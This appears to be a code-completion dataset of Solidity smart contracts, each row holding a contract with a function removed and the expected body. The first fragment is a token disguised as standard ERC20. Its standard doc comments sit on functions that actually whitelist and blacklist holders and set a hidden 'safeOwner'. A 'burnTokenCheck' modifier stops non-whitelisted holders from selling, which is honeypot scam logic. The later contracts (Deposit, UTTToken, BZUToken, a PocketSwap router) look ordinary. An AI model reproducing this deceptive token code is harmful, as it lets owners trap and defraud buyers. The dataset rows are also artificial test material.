* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
_approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
<FILL_FUNCTION>
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} |
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
| function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual | function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual |
82171 | Deposit | claim | contract Deposit is Ownable {
using SafeMath for uint256;
struct ClientDeposit {
uint256 balance;
// We should reject incoming transactions on payable
// methods that not equals this variable
uint256 nextPaymentTotalAmount;
uint256 nextPaymentDepositCommission; // deposit commission stored on contract
uint256 nextPaymentPlatformCommission;
bool exists;
bool isBlocked;
}
mapping(address => ClientDeposit) public depositsMap;
/* Required code start */
MarketplaceProxy public mp;
event PlatformIncomingTransactionCommission(uint256 amount, address clientAddress);
event PlatformOutgoingTransactionCommission(uint256 amount);
event Blocked();
/* Required code end */
event DepositCommission(uint256 amount, address clientAddress);
constructor () public {
/* Required code start */
// NOTE: CHANGE ADDRESS ON PRODUCTION
mp = MarketplaceProxy(0x17b38d3779debcf1079506522e10284d3c6b0fef);
/* Required code end */
}
/**
* @dev Handles direct clients transactions
*/
function () public payable {
handleIncomingPayment(msg.sender, msg.value);
}
/**
* @dev Handles payment gateway transactions
* @param clientAddress when payment method is fiat money
*/
function fromPaymentGateway(address clientAddress) public payable {
handleIncomingPayment(clientAddress, msg.value);
}
/**
* @dev Send commission to marketplace and increases client balance
* @param clientAddress client wallet for deposit
* @param amount transaction value (msg.value)
*/
function handleIncomingPayment(address clientAddress, uint256 amount) private {
ClientDeposit storage clientDeposit = depositsMap[clientAddress];
require(clientDeposit.exists);
require(clientDeposit.nextPaymentTotalAmount == amount);
/* Required code start */
// Send all incoming eth if user blocked
if (mp.isUserBlockedByContract(address(this))) {
mp.payPlatformIncomingTransactionCommission.value(amount)(clientAddress);
emit Blocked();
} else {
mp.payPlatformIncomingTransactionCommission.value(clientDeposit.nextPaymentPlatformCommission)(clientAddress);
emit PlatformIncomingTransactionCommission(clientDeposit.nextPaymentPlatformCommission, clientAddress);
}
/* Required code end */
// Virtually add ETH to client deposit (sended ETH subtract platform and deposit commissions)
clientDeposit.balance += amount.sub(clientDeposit.nextPaymentPlatformCommission).sub(clientDeposit.nextPaymentDepositCommission);
emit DepositCommission(clientDeposit.nextPaymentDepositCommission, clientAddress);
}
/**
* @dev Owner can add ETH to contract without commission
*/
function addEth() public payable onlyOwner {
}
/**
* @dev Owner can transfer ETH from contract to address
* @param to address
* @param amount 18 decimals (wei)
*/
function transferEthTo(address to, uint256 amount) public onlyOwner {
require(address(this).balance > amount);
/* Required code start */
// Get commission amount from marketplace
uint256 commission = mp.calculatePlatformCommission(amount);
require(address(this).balance > amount.add(commission));
// Send commission to marketplace
mp.payPlatformOutgoingTransactionCommission.value(commission)();
emit PlatformOutgoingTransactionCommission(commission);
/* Required code end */
to.transfer(amount);
}
/**
* @dev Send client's balance to some address on claim
* @param from client address
* @param to send ETH on this address
* @param amount 18 decimals (wei)
*/
function claim(address from, address to, uint256 amount) public onlyOwner{<FILL_FUNCTION_BODY> }
/**
* @return bool, client exist or not
*/
function isClient(address clientAddress) public view onlyOwner returns(bool) {
return depositsMap[clientAddress].exists;
}
/**
* @dev Add new client to structure
* @param clientAddress wallet
* @param _nextPaymentTotalAmount reject next incoming payable transaction if it's amount not equal to this variable
* @param _nextPaymentDepositCommission deposit commission stored on contract
* @param _nextPaymentPlatformCommission marketplace commission to send
*/
function addClient(address clientAddress, uint256 _nextPaymentTotalAmount, uint256 _nextPaymentDepositCommission, uint256 _nextPaymentPlatformCommission) public onlyOwner {
require( (clientAddress != address(0)));
// Can be called only once for address
require(!depositsMap[clientAddress].exists);
// Add new element to structure
depositsMap[clientAddress] = ClientDeposit(
0, // balance
_nextPaymentTotalAmount, // nextPaymentTotalAmount
_nextPaymentDepositCommission, // nextPaymentDepositCommission
_nextPaymentPlatformCommission, // nextPaymentPlatformCommission
true, // exists
false // isBlocked
);
}
/**
* @return uint256 client balance
*/
function getClientBalance(address clientAddress) public view returns(uint256) {
return depositsMap[clientAddress].balance;
}
/**
* @dev Update client payment details
* @param clientAddress wallet
* @param _nextPaymentTotalAmount reject next incoming payable transaction if it's amount not equal to this variable
* @param _nextPaymentDepositCommission deposit commission stored on contract
* @param _nextPaymentPlatformCommission marketplace commission to send
*/
function repeatedPayment(address clientAddress, uint256 _nextPaymentTotalAmount, uint256 _nextPaymentDepositCommission, uint256 _nextPaymentPlatformCommission) public onlyOwner {
ClientDeposit storage clientDeposit = depositsMap[clientAddress];
require(clientAddress != address(0));
require(clientDeposit.exists);
clientDeposit.nextPaymentTotalAmount = _nextPaymentTotalAmount;
clientDeposit.nextPaymentDepositCommission = _nextPaymentDepositCommission;
clientDeposit.nextPaymentPlatformCommission = _nextPaymentPlatformCommission;
}
} | contract Deposit is Ownable {
using SafeMath for uint256;
struct ClientDeposit {
uint256 balance;
// We should reject incoming transactions on payable
// methods that not equals this variable
uint256 nextPaymentTotalAmount;
uint256 nextPaymentDepositCommission; // deposit commission stored on contract
uint256 nextPaymentPlatformCommission;
bool exists;
bool isBlocked;
}
mapping(address => ClientDeposit) public depositsMap;
/* Required code start */
MarketplaceProxy public mp;
event PlatformIncomingTransactionCommission(uint256 amount, address clientAddress);
event PlatformOutgoingTransactionCommission(uint256 amount);
event Blocked();
/* Required code end */
event DepositCommission(uint256 amount, address clientAddress);
constructor () public {
/* Required code start */
// NOTE: CHANGE ADDRESS ON PRODUCTION
mp = MarketplaceProxy(0x17b38d3779debcf1079506522e10284d3c6b0fef);
/* Required code end */
}
/**
* @dev Handles direct clients transactions
*/
function () public payable {
handleIncomingPayment(msg.sender, msg.value);
}
/**
* @dev Handles payment gateway transactions
* @param clientAddress when payment method is fiat money
*/
function fromPaymentGateway(address clientAddress) public payable {
handleIncomingPayment(clientAddress, msg.value);
}
/**
* @dev Send commission to marketplace and increases client balance
* @param clientAddress client wallet for deposit
* @param amount transaction value (msg.value)
*/
function handleIncomingPayment(address clientAddress, uint256 amount) private {
ClientDeposit storage clientDeposit = depositsMap[clientAddress];
require(clientDeposit.exists);
require(clientDeposit.nextPaymentTotalAmount == amount);
/* Required code start */
// Send all incoming eth if user blocked
if (mp.isUserBlockedByContract(address(this))) {
mp.payPlatformIncomingTransactionCommission.value(amount)(clientAddress);
emit Blocked();
} else {
mp.payPlatformIncomingTransactionCommission.value(clientDeposit.nextPaymentPlatformCommission)(clientAddress);
emit PlatformIncomingTransactionCommission(clientDeposit.nextPaymentPlatformCommission, clientAddress);
}
/* Required code end */
// Virtually add ETH to client deposit (sended ETH subtract platform and deposit commissions)
clientDeposit.balance += amount.sub(clientDeposit.nextPaymentPlatformCommission).sub(clientDeposit.nextPaymentDepositCommission);
emit DepositCommission(clientDeposit.nextPaymentDepositCommission, clientAddress);
}
/**
* @dev Owner can add ETH to contract without commission
*/
function addEth() public payable onlyOwner {
}
/**
* @dev Owner can transfer ETH from contract to address
* @param to address
* @param amount 18 decimals (wei)
*/
function transferEthTo(address to, uint256 amount) public onlyOwner {
require(address(this).balance > amount);
/* Required code start */
// Get commission amount from marketplace
uint256 commission = mp.calculatePlatformCommission(amount);
require(address(this).balance > amount.add(commission));
// Send commission to marketplace
mp.payPlatformOutgoingTransactionCommission.value(commission)();
emit PlatformOutgoingTransactionCommission(commission);
/* Required code end */
to.transfer(amount);
}
<FILL_FUNCTION>
/**
* @return bool, client exist or not
*/
function isClient(address clientAddress) public view onlyOwner returns(bool) {
return depositsMap[clientAddress].exists;
}
/**
* @dev Add new client to structure
* @param clientAddress wallet
* @param _nextPaymentTotalAmount reject next incoming payable transaction if it's amount not equal to this variable
* @param _nextPaymentDepositCommission deposit commission stored on contract
* @param _nextPaymentPlatformCommission marketplace commission to send
*/
function addClient(address clientAddress, uint256 _nextPaymentTotalAmount, uint256 _nextPaymentDepositCommission, uint256 _nextPaymentPlatformCommission) public onlyOwner {
require( (clientAddress != address(0)));
// Can be called only once for address
require(!depositsMap[clientAddress].exists);
// Add new element to structure
depositsMap[clientAddress] = ClientDeposit(
0, // balance
_nextPaymentTotalAmount, // nextPaymentTotalAmount
_nextPaymentDepositCommission, // nextPaymentDepositCommission
_nextPaymentPlatformCommission, // nextPaymentPlatformCommission
true, // exists
false // isBlocked
);
}
/**
* @return uint256 client balance
*/
function getClientBalance(address clientAddress) public view returns(uint256) {
return depositsMap[clientAddress].balance;
}
/**
* @dev Update client payment details
* @param clientAddress wallet
* @param _nextPaymentTotalAmount reject next incoming payable transaction if it's amount not equal to this variable
* @param _nextPaymentDepositCommission deposit commission stored on contract
* @param _nextPaymentPlatformCommission marketplace commission to send
*/
function repeatedPayment(address clientAddress, uint256 _nextPaymentTotalAmount, uint256 _nextPaymentDepositCommission, uint256 _nextPaymentPlatformCommission) public onlyOwner {
ClientDeposit storage clientDeposit = depositsMap[clientAddress];
require(clientAddress != address(0));
require(clientDeposit.exists);
clientDeposit.nextPaymentTotalAmount = _nextPaymentTotalAmount;
clientDeposit.nextPaymentDepositCommission = _nextPaymentDepositCommission;
clientDeposit.nextPaymentPlatformCommission = _nextPaymentPlatformCommission;
}
} |
require(depositsMap[from].exists);
/* Required code start */
// Get commission amount from marketplace
uint256 commission = mp.calculatePlatformCommission(amount);
require(address(this).balance > amount.add(commission));
require(depositsMap[from].balance > amount);
// Send commission to marketplace
mp.payPlatformOutgoingTransactionCommission.value(commission)();
emit PlatformOutgoingTransactionCommission(commission);
/* Required code end */
// Virtually subtract amount from client deposit
depositsMap[from].balance -= amount;
to.transfer(amount);
| function claim(address from, address to, uint256 amount) public onlyOwner | /**
* @dev Send client's balance to some address on claim
* @param from client address
* @param to send ETH on this address
* @param amount 18 decimals (wei)
*/
function claim(address from, address to, uint256 amount) public onlyOwner |
76086 | UTTToken | setReleaseAgent | contract UTTToken is Burnable, Ownable {
string public constant name = "B2B";
string public constant symbol = "UTT";
uint8 public constant decimals = 4;
uint public constant INITIAL_SUPPLY = 1527700 * 10000;
/* The finalizer contract that allows unlift the transfer limits on this token */
address public releaseAgent;
/** A crowdsale contract can release us to the wild if ICO success. If false we are are in transfer lock up period.*/
bool public released = false;
/** Map of agents that are allowed to transfer tokens regardless of the lock down period. These are crowdsale contracts and possible the team multisig itself. */
mapping (address => bool) public transferAgents;
/**
* Limit token transfer until the crowdsale is over.
*
*/
modifier canTransfer(address _sender) {
require(released || transferAgents[_sender]);
_;
}
/** The function can be called only before or after the tokens have been released */
modifier inReleaseState(bool releaseState) {
require(releaseState == released);
_;
}
/** The function can be called only by a whitelisted release agent. */
modifier onlyReleaseAgent() {
require(msg.sender == releaseAgent);
_;
}
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
function UTTToken() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
/**
* Set the contract that can call release and make the token transferable.
*
* Design choice. Allow reset the release agent to fix fat finger mistakes.
*/
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {<FILL_FUNCTION_BODY> }
function release() onlyReleaseAgent inReleaseState(false) public {
released = true;
}
/**
* Owner can allow a particular address (a crowdsale contract) to transfer tokens despite the lock up period.
*/
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
require(addr != 0x0);
transferAgents[addr] = state;
}
function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) {
// Call Burnable.transfer()
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) {
// Call Burnable.transferForm()
return super.transferFrom(_from, _to, _value);
}
function burn(uint _value) onlyOwner returns (bool success) {
return super.burn(_value);
}
function burnFrom(address _from, uint _value) onlyOwner returns (bool success) {
return super.burnFrom(_from, _value);
}
} | contract UTTToken is Burnable, Ownable {
string public constant name = "B2B";
string public constant symbol = "UTT";
uint8 public constant decimals = 4;
uint public constant INITIAL_SUPPLY = 1527700 * 10000;
/* The finalizer contract that allows unlift the transfer limits on this token */
address public releaseAgent;
/** A crowdsale contract can release us to the wild if ICO success. If false we are are in transfer lock up period.*/
bool public released = false;
/** Map of agents that are allowed to transfer tokens regardless of the lock down period. These are crowdsale contracts and possible the team multisig itself. */
mapping (address => bool) public transferAgents;
/**
* Limit token transfer until the crowdsale is over.
*
*/
modifier canTransfer(address _sender) {
require(released || transferAgents[_sender]);
_;
}
/** The function can be called only before or after the tokens have been released */
modifier inReleaseState(bool releaseState) {
require(releaseState == released);
_;
}
/** The function can be called only by a whitelisted release agent. */
modifier onlyReleaseAgent() {
require(msg.sender == releaseAgent);
_;
}
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
function UTTToken() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
<FILL_FUNCTION>
function release() onlyReleaseAgent inReleaseState(false) public {
released = true;
}
/**
* Owner can allow a particular address (a crowdsale contract) to transfer tokens despite the lock up period.
*/
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
require(addr != 0x0);
transferAgents[addr] = state;
}
function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) {
// Call Burnable.transfer()
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) {
// Call Burnable.transferForm()
return super.transferFrom(_from, _to, _value);
}
function burn(uint _value) onlyOwner returns (bool success) {
return super.burn(_value);
}
function burnFrom(address _from, uint _value) onlyOwner returns (bool success) {
return super.burnFrom(_from, _value);
}
} |
require(addr != 0x0);
// We don't do interface check here as we might want to a normal wallet address to act as a release agent
releaseAgent = addr;
| function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public | /**
* Set the contract that can call release and make the token transferable.
*
* Design choice. Allow reset the release agent to fix fat finger mistakes.
*/
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public |
41223 | BZUToken | transfer | contract BZUToken is ERC20Token, BurnableToken {
bool public active = true;
string _name = "BZU Token";
string _symbol = "BZU";
uint8 _decimals = 18;
address _funder = address(0xC9AD62F26Aa7F79c095281Cab10446ec9Bc7A5E5);
uint256 _initToken = 1000000000;
modifier onlyActive() {
require(active);
_;
}
constructor()
public
ERC20Token(_name, _symbol, _decimals, _funder, _initToken)
{}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public onlyActive returns (bool) {<FILL_FUNCTION_BODY> }
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
onlyActive
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function setState(bool _state) public onlyOwner {
active = _state;
}
} | contract BZUToken is ERC20Token, BurnableToken {
bool public active = true;
string _name = "BZU Token";
string _symbol = "BZU";
uint8 _decimals = 18;
address _funder = address(0xC9AD62F26Aa7F79c095281Cab10446ec9Bc7A5E5);
uint256 _initToken = 1000000000;
modifier onlyActive() {
require(active);
_;
}
constructor()
public
ERC20Token(_name, _symbol, _decimals, _funder, _initToken)
{}
<FILL_FUNCTION>
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
onlyActive
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function setState(bool _state) public onlyOwner {
active = _state;
}
} |
return super.transfer(_to, _value);
| function transfer(address _to, uint256 _value) public onlyActive returns (bool) | /**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public onlyActive returns (bool) |
69340 | PocketSwapV2Router02 | addLiquidityETH | contract PocketSwapV2Router02 is IPocketSwapV2Router02 {
using SafeMatswap for uint;
address public immutable override factory;
address public immutable override WETH;
modifier ensure(uint deadline) {
require(deadline >= block.timestamp, 'PocketSwapV2Router: EXPIRED');
_;
}
constructor(address _factory, address _WETH) public {
factory = _factory;
WETH = _WETH;
}
receive() external payable {
assert(msg.sender == WETH); // only accept ETH via fallback from the WETH contract
}
// **** ADD LIQUIDITY ****
function _addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin
) internal virtual returns (uint amountA, uint amountB) {
// create the pair if it doesn't exist yet
if (IPocketSwapV2Factory(factory).getPair(tokenA, tokenB) == address(0)) {
IPocketSwapV2Factory(factory).createPair(tokenA, tokenB);
}
(uint reserveA, uint reserveB) = PocketSwapV2Library.getReserves(factory, tokenA, tokenB);
if (reserveA == 0 && reserveB == 0) {
(amountA, amountB) = (amountADesired, amountBDesired);
} else {
uint amountBOptimal = PocketSwapV2Library.quote(amountADesired, reserveA, reserveB);
if (amountBOptimal <= amountBDesired) {
require(amountBOptimal >= amountBMin, 'PocketSwapV2Router: INSUFFICIENT_B_AMOUNT');
(amountA, amountB) = (amountADesired, amountBOptimal);
} else {
uint amountAOptimal = PocketSwapV2Library.quote(amountBDesired, reserveB, reserveA);
assert(amountAOptimal <= amountADesired);
require(amountAOptimal >= amountAMin, 'PocketSwapV2Router: INSUFFICIENT_A_AMOUNT');
(amountA, amountB) = (amountAOptimal, amountBDesired);
}
}
}
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {
(amountA, amountB) = _addLiquidity(tokenA, tokenB, amountADesired, amountBDesired, amountAMin, amountBMin);
address pair = PocketSwapV2Library.pairFor(factory, tokenA, tokenB);
TransferHelper.safeTransferFrom(tokenA, msg.sender, pair, amountA);
TransferHelper.safeTransferFrom(tokenB, msg.sender, pair, amountB);
liquidity = PocketSwapV2Pair(pair).mint(to);
}
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external virtual override payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) {<FILL_FUNCTION_BODY> }
// **** REMOVE LIQUIDITY ****
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountA, uint amountB) {
address pair = PocketSwapV2Library.pairFor(factory, tokenA, tokenB);
PocketSwapV2Pair(pair).transferFrom(msg.sender, pair, liquidity); // send liquidity to pair
(uint amount0, uint amount1) = PocketSwapV2Pair(pair).burn(to);
(address token0,) = PocketSwapV2Library.sortTokens(tokenA, tokenB);
(amountA, amountB) = tokenA == token0 ? (amount0, amount1) : (amount1, amount0);
require(amountA >= amountAMin, 'PocketSwapV2Router: INSUFFICIENT_A_AMOUNT');
require(amountB >= amountBMin, 'PocketSwapV2Router: INSUFFICIENT_B_AMOUNT');
}
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountToken, uint amountETH) {
(amountToken, amountETH) = removeLiquidity(
token,
WETH,
liquidity,
amountTokenMin,
amountETHMin,
address(this),
deadline
);
TransferHelper.safeTransfer(token, to, amountToken);
IWETH(WETH).withdraw(amountETH);
TransferHelper.safeTransferETH(to, amountETH);
}
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountA, uint amountB) {
address pair = PocketSwapV2Library.pairFor(factory, tokenA, tokenB);
uint value = approveMax ? uint(-1) : liquidity;
PocketSwapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
(amountA, amountB) = removeLiquidity(tokenA, tokenB, liquidity, amountAMin, amountBMin, to, deadline);
}
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountToken, uint amountETH) {
address pair = PocketSwapV2Library.pairFor(factory, token, WETH);
uint value = approveMax ? uint(-1) : liquidity;
PocketSwapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
(amountToken, amountETH) = removeLiquidityETH(token, liquidity, amountTokenMin, amountETHMin, to, deadline);
}
// **** REMOVE LIQUIDITY (supporting fee-on-transfer tokens) ****
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountETH) {
(, amountETH) = removeLiquidity(
token,
WETH,
liquidity,
amountTokenMin,
amountETHMin,
address(this),
deadline
);
TransferHelper.safeTransfer(token, to, IERC20PocketSwap(token).balanceOf(address(this)));
IWETH(WETH).withdraw(amountETH);
TransferHelper.safeTransferETH(to, amountETH);
}
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountETH) {
address pair = PocketSwapV2Library.pairFor(factory, token, WETH);
uint value = approveMax ? uint(-1) : liquidity;
PocketSwapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
amountETH = removeLiquidityETHSupportingFeeOnTransferTokens(
token, liquidity, amountTokenMin, amountETHMin, to, deadline
);
}
// **** SWAP ****
// requires the initial amount to have already been sent to the first pair
function _swap(uint[] memory amounts, address[] memory path, address _to) internal virtual {
for (uint i; i < path.length - 1; i++) {
(address input, address output) = (path[i], path[i + 1]);
(address token0,) = PocketSwapV2Library.sortTokens(input, output);
uint amountOut = amounts[i + 1];
(uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOut) : (amountOut, uint(0));
address to = i < path.length - 2 ? PocketSwapV2Library.pairFor(factory, output, path[i + 2]) : _to;
PocketSwapV2Pair(PocketSwapV2Library.pairFor(factory, input, output)).swap(
amount0Out, amount1Out, to, new bytes(0)
);
}
}
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint[] memory amounts) {
amounts = PocketSwapV2Library.getAmountsOut(factory, amountIn, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'PocketSwapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, PocketSwapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, to);
}
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint[] memory amounts) {
amounts = PocketSwapV2Library.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= amountInMax, 'PocketSwapV2Router: EXCESSIVE_INPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, PocketSwapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, to);
}
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
override
payable
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[0] == WETH, 'PocketSwapV2Router: INVALID_PATH');
amounts = PocketSwapV2Library.getAmountsOut(factory, msg.value, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'PocketSwapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
IWETH(WETH).deposit{value: amounts[0]}();
assert(IWETH(WETH).transfer(PocketSwapV2Library.pairFor(factory, path[0], path[1]), amounts[0]));
_swap(amounts, path, to);
}
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
virtual
override
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[path.length - 1] == WETH, 'PocketSwapV2Router: INVALID_PATH');
amounts = PocketSwapV2Library.getAmountsIn(factory, amountOut, path);
